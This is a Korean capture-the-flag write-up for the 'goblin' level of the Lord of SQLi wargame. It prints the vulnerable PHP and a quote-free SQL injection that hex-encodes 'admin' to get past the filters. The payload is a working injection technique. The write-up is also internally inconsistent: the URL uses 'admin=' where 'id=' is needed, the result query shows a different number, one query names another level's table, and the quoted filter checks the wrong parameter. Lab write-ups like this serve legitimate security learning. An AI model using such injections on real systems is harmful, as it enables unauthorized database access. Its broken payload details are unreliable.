[LOS] goblin 풀이 3번

[LOS] goblin 풀이

 

PHP & query 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

select id from prob_goblin where id='guest' and no=

 

문제 풀이

solve 조건

 if($result['id'] == 'admin') solve("goblin");

 id가 admin이면 해결된다.

 

특수문자 제약

 if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
 if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 

 쿼터 문자들을 필터링한다. 

 쿼터문자들을 우회하여 인증을 하는 문제이다.

 

 

sqlInjection 쿼리

select id from prob_gremlin where id='' and pw='' or true #'

 형태로 공격을 시도 할 것이다.

 해당 php는 get형식으로 쿼리를 받고있어 sql 인젝션이 가능하다.

 no는 숫자이기 때문에 싱글쿼터를 쓰지 않는다. 이를 용하여 문제를 해결한다. admin [0x아스키코드]로 숫자화 하여 표현한다.

 

admin=0x61646d696e

 

 

URL

?no=-1 or admin=0x61646d696e

 

 

Injection 결과

select id from prob_goblin where id='guest' and no=123 or id=0x61646d696e